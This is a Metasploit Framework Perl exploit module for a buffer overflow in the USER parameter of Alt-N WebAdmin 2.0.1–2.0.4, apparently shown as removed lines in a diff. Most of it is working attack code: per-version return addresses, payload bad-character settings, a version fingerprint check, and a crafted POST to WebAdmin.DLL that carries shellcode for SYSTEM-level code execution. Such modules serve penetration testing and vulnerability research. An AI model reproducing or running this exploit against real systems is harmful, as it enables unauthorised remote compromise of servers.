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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::altn_webadmin;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 0,
-
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'UserOpts' => {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 1000],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
-
-
- 'Payload' =>
- {
- 'Space' => 830,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- Alt-N WebAdmin is prone to a buffer overflow condition.
- This is due to insufficient bounds checking on the USER
- parameter. Successful exploitation could result in code
- execution with SYSTEM level privileges.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '2207'],
- ['BID', '8024'],
- ['NSS', '11771'],
- ['MIL', '95'],
- ],
-
- 'Targets' =>
- [
- ['WebAdmin 2.0.4 Universal', 0x10074d9b], # 2.0.4 webAdmin.dll
- ['WebAdmin 2.0.3 Universal', 0x10074b13], # 2.0.3 webAdmin.dll
- ['WebAdmin 2.0.2 Universal', 0x10071e3b], # 2.0.2 webAdmin.dll
- ['WebAdmin 2.0.1 Universal', 0x100543c2], # 2.0.1 webAdmin.dll
-
- ],
- 'Keys' => ['webadmin'],
-
- 'DisclosureDate' => 'Jun 24 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET / HTTP/1.0\r\n\r\n");
- my $res = $s->Recv(-1, 20);
- $s->Close();
-
- if ($res !~ /v2\.0\.[1-4]/) {
- $self->PrintLine("[*] This server does not appear to be vulnerable.");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Vulnerable installation detected :-)");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $splat = Pex::Text::AlphaNumText(168);
-
- my $credz =
- "User=". $splat. pack('V', $target->[1]). $shellcode.
- "&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n";
-
- my $sploit =
- "POST /WebAdmin.DLL?View=Logon HTTP/1.1\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n".
- "Connection: close\r\n".
- "Cookie: User=y0; Lang=en; Theme=standard\r\n".
- "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n".
- "Host: $target_host\r\n".
- "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png\r\n".
- "Accept-Language: en\r\n".
- "Accept-Charset: iso-8859-1,*,utf-8\r\n".
- "Content-Length: ". length($credz). "\r\n\r\n".
- $credz;
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
-